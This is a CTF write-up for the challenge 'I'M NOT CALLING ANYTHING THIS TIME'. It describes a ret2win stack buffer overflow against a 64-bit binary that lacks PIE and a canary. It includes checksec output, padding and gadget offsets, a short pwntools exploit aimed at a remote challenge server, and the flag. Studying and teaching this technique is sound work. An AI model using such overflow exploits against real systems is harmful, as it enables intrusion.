← Back to CRACKON CTF

I'M NOT CALLING ANYTHING THIS TIME

A 64-bit ELF binary with No PIE and No Stack Canary. Exploit via classic stack buffer overflow with extra ret gadget for 16-byte stack alignment.

Tools Used

GDBpwntoolsPythonchecksec

Overview

A 64-bit ELF executable with basic security properties: No PIE and No stack canary. The program accepts input into a vulnerable buffer, letting us redirect execution to a flag-printing function.

Reconnaissance

Checking the binary protections reveals:

$ checksec a_LJWg6mC.out
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

The binary uses a vulnerable function (such as gets) in the vuln function. The stack buffer allocated is 20 bytes (rbp - 0x14).

Exploitation Strategy

Since there is no stack canary and no PIE, the address of print_flag is fixed at 0x401166.

The padding size to overwrite the saved RBP and control RIP is 28 bytes (20 bytes buffer + 8 bytes saved RBP).

To handle the stack alignment issue on 64-bit Ubuntu (GLIBC >= 2.27), we insert a dummy ret instruction gadget (0x40125e) before calling print_flag.

Solution Code

from pwn import *

io = remote('20.197.42.57', 2224)

ret_gadget = p64(0x40125e)   # ret instruction for 16-byte stack alignment
print_flag = p64(0x401166)   # Target function to print the flag

payload  = b"A" * 28         # Padding to reach RIP
payload += ret_gadget        # Align stack to 16 bytes
payload += print_flag        # Jump to print_flag

io.sendline(payload)
print(io.recvall().decode())

Flag

CrackOn{always_buffers}